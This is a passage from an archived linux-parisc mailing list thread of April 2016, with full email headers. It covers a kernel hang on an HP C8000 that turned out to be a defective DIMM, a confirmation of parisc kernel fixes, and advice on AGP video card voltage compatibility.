         xMvXnfzEyAbjnWwnDZaAVWRYxto+PKaO7dzHmdFO4EeocxYgdHlbJ/a36f34v36akHjq
         x13/Ui13u8grPDyMDrh5yW1BZ2iQ1vN/T8gTUcVBnQgnKghn6O0je+RgHIb/vGtyF4Et
         8aTmLLwTgpqMZhhFZKZesHrmaSdDy6D33hqtC0YXEoMUQQtkAzjyqSxeYpmN+9H77vZ6
         A4BZ8Joa1Fhg/DsvGTeErd+bhS/vZGZcSwbfECRKB7LI221mOcVH4lNOoTtzknJkYZ8Z
         1G+w==
X-Gm-Message-State: AOPr4FU03AOqFShbQXhNQRuKgPwrE7H8px1T+vA832DTUTBokXfYzXWYYTbhK6fiqrp7bbESgKko+GPTch7F1A==
X-Received: by 10.107.170.17 with SMTP id t17mr17538461ioe.71.1460623561890;
 Thu, 14 Apr 2016 01:46:01 -0700 (PDT)
Original-Received: by 10.64.86.82 with HTTP; Thu, 14 Apr 2016 01:46:01 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26630
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26630>

Dear All,

after upgrading the RAM to 16GB (8 x 2GB modules), the kernel hangs
just after the "nouveau" module loading.
With X1 ATI video card, the "radeon" driver has the very same behaviour.
Booting without ANY video card is OK and the c8000 works perfectly
(this exlude any memory realted issues like memory
errors/defective/unmatched DIMM)

With "nouveau" the serial console dump is:

[  OK  ] Reached target Graphical Interface.
[   73.932000] nuveau 0000:80:00.0: DRM: 0xABCE: Parsing digital
output script table
         Starting Update UTMP about Syste[   74.104000] nouveau
0000:80:00.0: DRM: 0xABCE: Parsing digital output script table
m Runlevel Changes...
[  OK  ] Started Update UTMP about System Runlevel Changes.
[   95.616000] INFO: rcu_sched detected stalls on CPUs/tasks:
[   95.680000]  (detected by 1, t=5272 jiffies, g=2108, c=2107, q=121)
[   95.756000] All QSes seen, last rcu_sched kthread activity 5284
(4294916235-4294910951), jiffies_till_next_fqs=1, root ->qsmask 0x0
[   95.896000] dpkg            R  running task        0   941    938 0x00000014
[   95.984000] Backtrace:
[   96.012000]  [<0000000040215bc0>] show_stack+0x20/0x38
[   96.072000]  [<00000000402756e4>] sched_show_task+0x134/0x1d0
[   96.140000]  [<00000000402adc04>] rcu_check_callbacks+0x9bc/0x9c8
[   96.216000]  [<00000000402b2494>] update_process_times+0x74/0xd8
[   96.288000]  [<0000000040216edc>] timer_interrupt+0x1bc/0x220
[   96.356000]  [<000000004029d714>] handle_irq_event_percpu+0xb4/0x250
[   96.432000]  [<00000000402a3028>] handle_percpu_irq+0xa8/0xe8
[   96.500000]  [<000000004029c99c>] generic_handle_irq+0x4c/0x68
[   96.568000]  [<0000000040205308>] call_on_stack+0x18/0x24
[   96.636000]
[   96.652000] rcu_sched kthread starved for 5508 jiffies! g2108 c2107
f0x2 s3 ->state=0x100
[   96.752000] timer_interrupt(CPU 1): delayed! cycles 4370CCA7 rem
82659  next/now 5AA779EC42/5AA771C5E9

  Simone Mannori - ITALY
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: c8000::kernel hangs with 16G DRAM
Date: Thu, 14 Apr 2016 11:07:33 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <CACrbsaCe7StmL82Oevt0_mtt+6V+_sYDpOAtFRkbHc36dRHZzw@mail.gmail.com>
References: <CACrbsaC_FOZ4tG+AmBAtz_Dir+w5XfY9Nc-j-XPqnQkPph+jWQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460624861 15054 80.91.229.3 (14 Apr 2016 09:07:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 09:07:41 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 11:07:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqdFR-0004eO-4E
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 11:07:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753463AbcDNJHg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2016 05:07:36 -0400
Original-Received: from mail-ig0-f173.google.com ([209.85.213.173]:36441 "EHLO
	mail-ig0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753435AbcDNJHe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2016 05:07:34 -0400
Original-Received: by mail-ig0-f173.google.com with SMTP id f1so142716772igr.1
        for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2016 02:07:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to;
        bh=Vkbh07Pn4ElLzQA1ppLgNQvLwStiMmSdavMHukxcCYw=;
        b=TegWqpEBxk3qzn/Wv/w5Y4PF3MD0tyXRCrU5mgCEU54xni15ZszfiqlWO4Tj93RbII
         C/vK56xplEW1DUuEIyanqTTKhjBJ8ARVp6ZsYVceANPWF3buCCwqGFqJNdJay1a+VJmJ
         1Hv6hq+JZL5Un0pKA1aROcFKmXVvnxTms3z22D0TpQ/l8qnAoMQupRKYV2yMeqQ2cZei
         4uzAWLGRm8dJV9Vr1tHH3LDLabJhigrDOj6KtyERZBlIeIvKVni02iMuQ9uvdqR4H1uA
         ajX+wJp9il0rtYiRM/tb584FwJ7tHBC3bv1Mue3pi3t/v53VKt4QuwkNtoJP2lHv35/m
         lAYA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to;
        bh=Vkbh07Pn4ElLzQA1ppLgNQvLwStiMmSdavMHukxcCYw=;
        b=hE/751BUjkU+jl/F8cb5ke5n/LMXLVuAiukb0GX+xPQa/F84W7BvX+1mPKqjZRDFpc
         8v6Rjd++NLnQMj0t+FJJw0P8aTS4zoT9s7OlkjifysaVHcq5klBmkZYEbcU5prBCqXam
         8HB5gkMQBfyyXprXuqE9Ck/7/jNKWvoJRbmS4D0ntrH06eSaiBtlhBZQboow+Fve7aJ3
         lOb0TCAuQollfTekebGCOIaAT8od3i2zDHtcbd0jxk6A2eLYhvXCx4WgrYIk19RubNpm
         CbwIWIYKFLCSwXvnWmazYDKA4VjiD2VeXkUy33sQDwhdUNxdks74mp1NJ8lMKe2iaSSq
         isJg==
X-Gm-Message-State: AD7BkJIa0u+knzEPRBgUCBnt8+qUgH7VdlqIhENQmiIoBkskz/doO5oAwqCESkUX0kOsUmbVB+3y91fAjZ4CLw==
X-Received: by 10.50.57.50 with SMTP id f18mr36325831igq.93.1460624853217;
 Thu, 14 Apr 2016 02:07:33 -0700 (PDT)
Original-Received: by 10.64.86.82 with HTTP; Thu, 14 Apr 2016 02:07:33 -0700 (PDT)
In-Reply-To: <CACrbsaC_FOZ4tG+AmBAtz_Dir+w5XfY9Nc-j-XPqnQkPph+jWQ@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26631
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26631>

Please forget the previus post: it was a defective DIMM.
Booting with 12GB is OK and using another 2GB couple has fixed the issue.
I'm sorry for the false alarm.

   Simone Mannori - ITALY

On 14 April 2016 at 10:46, Simone Mannori <simone.mannori@gmail.com> wrote:
> Dear All,
>
> after upgrading the RAM to 16GB (8 x 2GB modules), the kernel hangs
> just after the "nouveau" module loading.
> With X1 ATI video card, the "radeon" driver has the very same behaviour.
> Booting without ANY video card is OK and the c8000 works perfectly
> (this exlude any memory realted issues like memory
> errors/defective/unmatched DIMM)
>
> With "nouveau" the serial console dump is:
>
> [  OK  ] Reached target Graphical Interface.
> [   73.932000] nuveau 0000:80:00.0: DRM: 0xABCE: Parsing digital
> output script table
>          Starting Update UTMP about Syste[   74.104000] nouveau
> 0000:80:00.0: DRM: 0xABCE: Parsing digital output script table
> m Runlevel Changes...
> [  OK  ] Started Update UTMP about System Runlevel Changes.
> [   95.616000] INFO: rcu_sched detected stalls on CPUs/tasks:
> [   95.680000]  (detected by 1, t=5272 jiffies, g=2108, c=2107, q=121)
> [   95.756000] All QSes seen, last rcu_sched kthread activity 5284
> (4294916235-4294910951), jiffies_till_next_fqs=1, root ->qsmask 0x0
> [   95.896000] dpkg            R  running task        0   941    938 0x00000014
> [   95.984000] Backtrace:
> [   96.012000]  [<0000000040215bc0>] show_stack+0x20/0x38
> [   96.072000]  [<00000000402756e4>] sched_show_task+0x134/0x1d0
> [   96.140000]  [<00000000402adc04>] rcu_check_callbacks+0x9bc/0x9c8
> [   96.216000]  [<00000000402b2494>] update_process_times+0x74/0xd8
> [   96.288000]  [<0000000040216edc>] timer_interrupt+0x1bc/0x220
> [   96.356000]  [<000000004029d714>] handle_irq_event_percpu+0xb4/0x250
> [   96.432000]  [<00000000402a3028>] handle_percpu_irq+0xa8/0xe8
> [   96.500000]  [<000000004029c99c>] generic_handle_irq+0x4c/0x68
> [   96.568000]  [<0000000040205308>] call_on_stack+0x18/0x24
> [   96.636000]
> [   96.652000] rcu_sched kthread starved for 5508 jiffies! g2108 c2107
> f0x2 s3 ->state=0x100
> [   96.752000] timer_interrupt(CPU 1): delayed! cycles 4370CCA7 rem
> 82659  next/now 5AA779EC42/5AA771C5E9
>
>   Simone Mannori - ITALY
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for 4.6-rc2
Date: Thu, 14 Apr 2016 09:31:23 -0400 (EDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1604140930220.13532@file01.intranet.prod.int.rdu2.redhat.com>
References: <20160409055746.GA3305@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1460640707 18167 80.91.229.3 (14 Apr 2016 13:31:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 13:31:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 15:31:35 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqhMl-0006QW-B4
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 15:31:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755276AbcDNNb1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2016 09:31:27 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:42855 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755144AbcDNNb0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2016 09:31:26 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 061CEC0EE460;
	Thu, 14 Apr 2016 13:31:25 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u3EDVPMl002574
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Thu, 14 Apr 2016 09:31:25 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u3EDVP0c014215;
	Thu, 14 Apr 2016 09:31:25 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u3EDVN8O014211;
	Thu, 14 Apr 2016 09:31:23 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20160409055746.GA3305@ls3530.box>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26632
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26632>



On Sat, 9 Apr 2016, Helge Deller wrote:

> Hi Linus,
> 
> please pull some important fixes for the parisc architecture from:
> 
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.6-3
> 
> Since commit 0de7985 (parisc: Use generic extable search and sort routines)
> module loading is boken on parisc, because the parisc module loader wasn't
> prepared for the new R_PARISC_PCREL32 relocations.
> 
> In addition, due to that breakage, Mikulas Patocka noticed that handling
> exceptions from modules probably never worked on parisc. It was just masked by
> the fact that exceptions from modules don't happen during normal use.
> 
> This patch series fixes those issues and survives the tests of the
> lib/test_user_copy kernel module test.  Some patches are tagged for stable.
> 
> Thanks,
> Helge
> 
> ----------------------------------------------------------------
> Helge Deller (5):
>       parisc: Handle R_PARISC_PCREL32 relocations in kernel modules
>       parisc: Avoid function pointers for kernel exception routines
>       parisc: Fix kernel crash with reversed copy_from_user()
>       parisc: Unbreak handling exceptions from kernel modules
>       parisc: Update comment regarding relative extable support
> 
>  arch/parisc/include/asm/uaccess.h | 11 +++++------
>  arch/parisc/kernel/asm-offsets.c  |  1 +
>  arch/parisc/kernel/module.c       |  8 ++++++++
>  arch/parisc/kernel/parisc_ksyms.c | 10 +++++-----
>  arch/parisc/kernel/traps.c        |  3 +++
>  arch/parisc/lib/fixup.S           |  6 ++++++
>  arch/parisc/mm/fault.c            |  1 +
>  7 files changed, 29 insertions(+), 11 deletions(-)

Hi

I confirm that the kernel 4.6-rc3 fixes exception handling from modules.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Thu, 14 Apr 2016 10:59:05 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <570FB039.8040109@bell.net>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
 <1587186.CtnrnCsSzp@caliban.sf-tec.de> <570D38BF.7040307@bell.net>
 <CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
 <570E5F69.4010203@bell.net>
 <CAFk90B_oAkq=JD0msjm2ZM2oZWAUd6yqh-XnC1Kk4HKHGOBt0w@mail.gmail.com>
 <4E86DE96-4108-41F1-872C-F7E04075466A@bell.net>
 <CACrbsaBOV3vqbwRp1i2aXA0FqgMGbuw_-9KnudnVjSwo-SW2Xg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460645958 13790 80.91.229.3 (14 Apr 2016 14:59:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 14:59:18 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 16:59:07 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqija-00027K-Et
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 16:59:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754146AbcDNO7G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2016 10:59:06 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:26059 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752403AbcDNO7F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2016 10:59:05 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20160414145903.IGDE3350.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 14 Apr 2016 10:59:03 -0400
Original-Received: from [192.168.0.122] (really [64.231.92.133])
          by mtlspm02.bell.net with ESMTP
          id <20160414145902.UWMJ22473.mtlspm02.bell.net@[192.168.0.122]>;
          Thu, 14 Apr 2016 10:59:02 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.2
In-Reply-To: <CACrbsaBOV3vqbwRp1i2aXA0FqgMGbuw_-9KnudnVjSwo-SW2Xg@mail.gmail.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.570FB037.0025,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26633
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26633>

On 2016-04-14 4:14 AM, Simone Mannori wrote:
>> Do you know if c8000 can setup any non HP card (e.g., ATI Rage XL)?  It was reported that
>> >some old cards would work with PDC firmware in unaccelerated fb mode, but c8000 has
>> >x86 emulator so it might be able to enable accelerated 2d/3d.
> Good hint. I have several "vintage" PCI video cards to try (including
> ATI RAGE, Vodoo, etc.) but I can't because the have 5V PCI interface.
> HP c8000 have several PCI slots BUT PCI 3.3 volt ONLY. Find
> "universal" 5V/3V PCI card is possible but the only cards that I have
> find (the ATI 9200 128Mega) fails at "BIOS" time (see the first
> message of this thread).
It seems to me that an AGP card might be a better option.  The C8000 
manual indicates that
it has one AGP 8X Pro 110W 32-bit slot.  It looks from connector pinout 
in the Technical Reference
Guide that the C8000 has a AGP 1.5V motherboard (pins 9, 16, 25 and 28 
are VCC 1.5).

The HP "supported" FireGL cards are 1.5V, 0.8V:
http://www.synthmind.com/737-18872ATIAGPGraphicsCards-AGPComplianceDetails.pdf

So, I think one needs to look for a 1.5V or Universal AGP card.  The 
first ATI AGP card to
support 1.%V appears to be RAGE 128 PRO.

These articles give info about AGP slots and what works electrically:
http://www.playtool.com/pages/agpcompat/agp.html
https://en.wikipedia.org/wiki/Accelerated_Graphics_Port

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Thu, 14 Apr 2016 17:54:58 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <CACrbsaDJ2PCAh3KBV=T1Cwi4JxtV31bPJw-PireiZW6W51qCmg@mail.gmail.com>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
	<1587186.CtnrnCsSzp@caliban.sf-tec.de>
	<570D38BF.7040307@bell.net>
	<CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
	<570E5F69.4010203@bell.net>
	<CAFk90B_oAkq=JD0msjm2ZM2oZWAUd6yqh-XnC1Kk4HKHGOBt0w@mail.gmail.com>
	<4E86DE96-4108-41F1-872C-F7E04075466A@bell.net>
	<CACrbsaBOV3vqbwRp1i2aXA0FqgMGbuw_-9KnudnVjSwo-SW2Xg@mail.gmail.com>
	<570FB039.8040109@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460649315 7295 80.91.229.3 (14 Apr 2016 15:55:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 15:55:15 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 17:55:05 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqjbg-0008Uc-Qa
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 17:55:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932550AbcDNPzA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2016 11:55:00 -0400
Original-Received: from mail-ig0-f177.google.com ([209.85.213.177]:36918 "EHLO
	mail-ig0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932243AbcDNPy7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2016 11:54:59 -0400
Original-Received: by mail-ig0-f177.google.com with SMTP id g8so95146365igr.0
        for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2016 08:54:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=66rMC776kbU4ojveV1sf5JDtjptqKDkzOdgNpxFHJAA=;
        b=uMlx3GKjTXFVEtaoAxyhLSca1ONNSWyfY1CFOhDoE2nDvfwuO/hLVbNRfk7PDOzYEq
         YW0BYRoKO9aUV2I4F5c0b4w/w0ljG53LKgzcgxy0l4fyeKz4I2S+fPBkh+d5xPlyw5tn
         Dn6irKv5b/9EogEvVXrHswLyOkg0gD661Rb/lqqG3jtc+43KSiU8r6rQMUIWjol0/I4u
         Q3DT6HChp3vANGhFOIP8j9094ofUBhFENUzbemQbj13aTsHzXsOgVI96MPh/LeeOkycP
         LvqmDww2EvpeCyWZmuaXdW38SZW6/CG0SSoR+9/+kvsNx3HUZOMzbulwRgnM18z8d+/P
         mfrg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=66rMC776kbU4ojveV1sf5JDtjptqKDkzOdgNpxFHJAA=;
        b=Ns7XTFCCSdvI6qREZ0eiMjiLwfvqk+KmpsF8Rko4hMvxeJ9IpcNRP3qk4TsxsiytXV
         4Q8ZvEyCDNNpyyfriuzBzw9JzvTRJj1Y5AoOxVixzY8YHL12HDr7a+CA9yzbtIwBSCWy
         a5dabKxTY2JIjCU20pf+9mFRZVmBeC9h9jyBoxYBBVyy/P+P+WGYA/hK9iH41N/uVk/+
         Y6/W5Cpa+yF4aEL15+0Ynku5sb18U/nNgO/4fg2R9pJ1h/S1BRKBQ4CjXuaayJaxS6MK
         Zxh/Id8a/kARpfxDfpmAdlEEGcSsEOzR/4rzwnM9vdApENmQicn0kxVQ8g5Kf9p1EXsb
         FQ5w==
X-Gm-Message-State: AD7BkJJKRUIZALHUBHFrdBbaxX3WkZoUJA5yapiXY1dwqW3DYKxiKeXvebr3nMS31JsR7xNR2Nv00f+idwoJsQ==
X-Received: by 10.50.83.105 with SMTP id p9mr36113604igy.63.1460649298682;
 Thu, 14 Apr 2016 08:54:58 -0700 (PDT)
Original-Received: by 10.64.86.82 with HTTP; Thu, 14 Apr 2016 08:54:58 -0700 (PDT)
In-Reply-To: <570FB039.8040109@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26634
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26634>

>
> It seems to me that an AGP card might be a better option.  The C8000 manual
> indicates that
> it has one AGP 8X Pro 110W 32-bit slot.  It looks from connector pinout in
> the Technical Reference
> Guide that the C8000 has a AGP 1.5V motherboard (pins 9, 16, 25 and 28 are
> VCC 1.5).
>
> The HP "supported" FireGL cards are 1.5V, 0.8V:
> http://www.synthmind.com/737-18872ATIAGPGraphicsCards-AGPComplianceDetails.pdf
>
> So, I think one needs to look for a 1.5V or Universal AGP card.  The first
> ATI AGP card to
> support 1.%V appears to be RAGE 128 PRO.
>
> These articles give info about AGP slots and what works electrically:
> http://www.playtool.com/pages/agpcompat/agp.html
> https://en.wikipedia.org/wiki/Accelerated_Graphics_Port

Very interesting and useful info, but they don't help us to fix the basic issue.

We have several AGP cards able to work correctly BUT in passive frame
buffer only mode, therefore the c8000, a quite fast quad core
workstation , with X11, looks like a bradypus instead that a
velociraptor.

This is the moment to recompile a custom kernel with some printk.

     Simone Mannori - ITALY
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Thu, 14 Apr 2016 12:19:28 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <570FC310.2050000@bell.net>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
 <1587186.CtnrnCsSzp@caliban.sf-tec.de> <570D38BF.7040307@bell.net>
 <CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
 <570E5F69.4010203@bell.net>
 <CAFk90B_oAkq=JD0msjm2ZM2oZWAUd6yqh-XnC1Kk4HKHGOBt0w@mail.gmail.com>
 <4E86DE96-4108-41F1-872C-F7E04075466A@bell.net>
 <CACrbsaBOV3vqbwRp1i2aXA0FqgMGbuw_-9KnudnVjSwo-SW2Xg@mail.gmail.com>
